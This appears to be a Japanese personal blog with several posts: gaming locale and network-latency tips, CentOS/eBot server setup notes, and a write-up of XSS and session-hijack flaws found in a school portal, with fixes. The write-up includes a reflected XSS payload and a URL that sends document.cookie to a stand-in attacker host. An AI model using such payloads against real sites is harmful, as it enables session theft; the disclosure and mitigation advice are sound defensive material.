1月 302016
 

細かく書くのはめんどくさいので雑に。
windows版LoLを日本語化してから下記のファイル、フォルダをコピーしておく。
C:\Riot Games\League of Legends\RADS\projects\lol_game_client_ja_jp\releases\0.0.0.0 の releasemanifest
C:\Riot Games\League of Legends\RADS\projects\lol_game_client_ja_jp\managedfiles\0.0.0.0 の DATA

League of Legends.appを右クリックして「パッケージ内容を表示」をクリック。
/Contents/LoL/RADS/system/locale.cfgのen_USをja_JPに変更。
LoLを起動してログイン。ログイン後に閉じる。
/Contents/LoL/RADS/projects/lol_game_client_ja_jp/releases/0.0.0.0のreleasemanifestをwindowsからコピーしてきたもので上書き
/Contents/LoL/RADS/projects/lol_game_client_ja_jp/managedfiles/0.0.0.0 にwindowsからコピーしてきたDATAフォルダを入れる。

おわり

 Posted by at 3:17 PM
12月 272015
 

最近CS:GOのMM鯖のloss率が3%〜25%程度になることが多く、まともにプレイできなかったのでいろいろと調べてみました。
その結果、通信経路にasianetcom.netが含まれる場合にlossが生じることがわかりました。
他の人達がCS:GOに適したプロバイダを選択する手助けになるよう、調査結果を公開しておきますので参考にしてください。

MM鯖のIPへPINGを100回飛ばした結果

地域や環境等によって変動するので参考程度にお願いします。

プロバイダ 最小PING 最大PING 平均PING パケットロス率 asianetcom.net経由 ネットワーク形態 計測日時 オススメする?
インターリンク 10.135 ms 12.658 ms 10.793 ms 4.0% YES NTT西日本 光 隼(1Gbps) 戸建てタイプ 2015/12/27 AM 3:03 NO
ソフトバンク 22.454 ms 26.160 ms 23.245 ms 8.0% YES NTT西日本 光 隼(1Gbps) 戸建てタイプ 2015/12/27 AM 3:04 NO
グリーンネット 11.347 ms 15.372 ms 11.741 ms 0.0% NO NTT西日本 光 隼(1Gbps) 戸建てタイプ 2015/12/27 AM 3:04 YES

調査方法

通信経路は以下のコマンドで調べることができます。

[Windows]
  tracert 45.121.186.158
[Mac/Linux]
  traceroute -I 45.121.186.158

平均PINGやパケットロス率は以下のコマンドを使って調べることができます。

[Windows]
  ping -n 100 45.121.186.158
[Mac/Linux]
  ping -c 100 45.121.186.158
 Posted by at 4:19 AM
10月 202013
 

今月中にプロバイダを変更するため、一時的に当ブログなど各種ウェブサービスにアクセス出来ない状態になります。ご了承ください。

ビッグローブは障害が多すぎるのと、サポートがあまりにずさんなので二度と利用しません。
http://megalodon.jp/2013-1020-2340-07/support.biglobe.ne.jp/info/shogaiap/broadband.html

 Posted by at 11:46 PM
8月 272013
 

メモ書きです。そのうちまとめるかも

CentOS標準のレポジトリにあるPHPは古いため、レポジトリを追加する
rpm -Uvh http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-6.noarch.rpm
rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-6.rpm

PHPやその他ツールの導入
yum -y install mysql-server httpd
yum –enablerepo=remi install php-cli php-fpm php-devel php-gd php-mbstring php-mysql php-pdo php-pear php-xml

httpdとmysqlサーバーの起動
/etc/init.d/httpd start
/etc/init.d/mysqld start
chkconfig httpd on
chkconfig mysqld on

phpにタイムゾーン設定していなければ
vi /etc/php.iniして
date.timezone = Asia/Tokyoを追記する

node.jsとnpmを導入する
yum install gcc-c++
wget http://nodejs.org/dist/v0.10.19/node-v0.10.19.tar.gz
tar -zxf node*
cd node*
./configure
make
make install
curl https://npmjs.org/install.sh | sh
npm install websocket formidable archiver

eBotをDLしてくるeBotがあるディレクトリに移動して、
composerのインストール
php -r “eval(‘?>’.file_get_contents(‘https://getcomposer.org/installer’));”

composerの実行
php composer.phar install

コンフィグを編集
config/config.ini
config/logger.ini

ebotの起動
screen -dmS ebotv3 php bootstrap.php
必要ならサーバー起動時にプロセスが動くようにする

フロントの導入
https://github.com/deStrO/eBot-CSGO-WebからファイルをDLして導入

 Posted by at 3:23 PM
7月 142013
 

僕が通っているとある専門学校のポータルサイトで発見した脆弱性についてと、その脆弱性の対策について書きたいと思います。

ポータルサイトにログインすると、以下のURLのポータルページへ飛ばされます

https://portal.EXAMPLE.ac.jp/portal/top.do?portalId=XXXXX

portalIdにはログインしたユーザーに対応するユニークなIDが付与されています。
そこに他人のユーザーID等を入力すると、権限がない旨が表示されます。
一見問題がない仕様のように思われますが、権限がない旨を表示するページには大きな脆弱性がありました。以下が不正なIDを入力した時のエラーメッセージです

予期せぬ例外が発生しました。 [PO-00012] 無効なポータルが指定されました[portalId=XXXXXX]

赤色の文字の部分にはportalIdに入力した文字列がそのまま表示されます。
セキュリティに少しでも知識がある人ならもうお分かりだと思いますが、XSS(クロスサイトスクリプティング)を発生させることができる脆弱性が存在しました。
現代にサニタイズもされていないウェブシステムが存在することにびっくりしました(情報系の学校なのに・・・)
というわけで以下のようにURLパラメータを指定することで任意のスクリプトを動作させることができました。

https://portal.EXAMPLE.ac.jp/portal/top.do?portalId=<script>alert("XSS");</script>

これが一つ目の脆弱性です。

2つ目の脆弱性はCookieに関する脆弱性でした。
学校のポータルサイトは、ログイン後一定期間ログインが維持されるようにセッションを使用しています。セッションIDが含まれたCookieはsecure属性がついており、SSL通信の場合にのみCookieの送信を許可するようになっていました。
Cookieは暗号化通信時のみにしか送信されないので一見問題がないように思います。しかし、そのCookieはHttpOnlyの属性が無効に設定されていました。
HttpOnly属性がついていないcookieは以下のコードのように、Javascriptを利用して中身を取り出すことが可能となります。

<script>
    alert(document.cookie);
</script>

以上の点を踏まえて一つ目の脆弱性であるXSSを組み合わせると、外部のサーバーにセッションIDを送信することができ、セッションハイジャックが成立します。
以下のURLをユーザーに踏ませることによって攻撃者のサーバー(ここではattacker.jp)に送信させることができます

https://portal.EXAMPLE.ac.jp/portal/top.do?portalId=<script>location.href="http://attacker.jp?"%2Bdocument.cookie</script>

(%2BはURLデコードすると「+」なります)
これが2つ目の脆弱性です。

脆弱性への対策

ここでポータルサイトに存在した脆弱性をおさらいしてみます。上記で紹介していない脆弱性についても列挙しておきます

  • XSS
  • CSRFによって、他の人にメッセージを送信することができる
  • Cookieの不適切な設定に起因するセッションハイジャック
  • 一部ページのURLにセッションIDをURLパラメータに付与している
  • clearAccessDataTop=trueをURLパラメータに含めた状態でportalIdに不正な文字列を入れるとJSPのスタックトレースを確認できる
  • 全くサニタイズが行われていない
  • Tomcat、stratusに最新のパッチが適用されていない

XSSへの対策

XSSへの対策の最も単純な方法は、「 < 」、「 > 」、「 & 」を始めとする特殊文字のエスケープ処理です。クォーテーションなどの文字列も忘れずにエスケープしましょう。
その他にも文字コードをレスポンスヘッダとmetaタグでしっかりと指定することも必要です。

セッションハイジャックへの対策

セッションIDを所持するCookieにはHttpOnly、Secure属性をtrueに指定しましょう。
Secure属性を付与することで、暗号化通信時以外ではcookieを送信しなくなるため、盗聴によるセッションハイジャックを軽減することができます。
HttpOnly属性を付与することでCookieはjavascriptなどでの操作ができなくなります。
また、セッションIDをURLパラメータに含めるような設計は避けましょう。

以上で外部にセッションIDが漏れる可能性はかなり減ります。

スタックトレースが表示されないようにする

適切な例外処理を行いましょう。
catchする際には、想定されていない例外もキャッチできるようにExceptionの種類を指定しないcatch文を記述すべきです。

スタックトレースには使用しているフレームワークの種類、システム、アプリケーションのバージョン等が表示されるため、攻撃者へヒントを与えてしまいます。

疲れてきたので今回はここまでにしておきます。まだ紹介していない脆弱性などもあるので後日紹介したいと思います

 Posted by at 5:48 PM